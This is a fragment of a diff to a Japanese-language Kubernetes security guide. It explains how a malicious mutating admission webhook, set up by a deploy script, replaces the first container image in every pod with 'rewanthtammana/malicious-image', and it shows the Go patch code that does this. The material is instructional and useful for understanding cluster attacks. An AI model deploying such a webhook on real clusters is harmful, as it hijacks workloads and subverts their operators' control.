+上の画像に示されているように、私たちはイメージ `nginx` を実行しようとしましたが、最終的に実行されたイメージは `rewanthtammana/malicious-image` です。何が起こったのでしょうか？ #### Technicalities -`./deploy.sh` スクリプトは、Kubernetes APIへのリクエストを指定された設定行に従って変更するミューテイティングウェブフックアドミッションコントローラーを確立し、観察された結果に影響を与えます。 +`./deploy.sh` スクリプトは、Kubernetes APIへのリクエストをその設定行に従って変更するミューテイティングウェブフックアドミッションコントローラーを確立します。これにより、観察された結果に影響を与えます： ``` patches = append(patches, patchOperation{ Op: "replace", @@ -594,7 +658,7 @@ Path: "/spec/containers/0/image", Value: "rewanthtammana/malicious-image", }) ``` -上記のスニペットは、すべてのポッドの最初のコンテナイメージを `rewanthtammana/malicious-image` に置き換えます。 +上記のスニペットは、すべてのポッド内の最初のコンテナイメージを `rewanthtammana/malicious-image` に置き換えます。 ## OPA Gatekeeper バイパス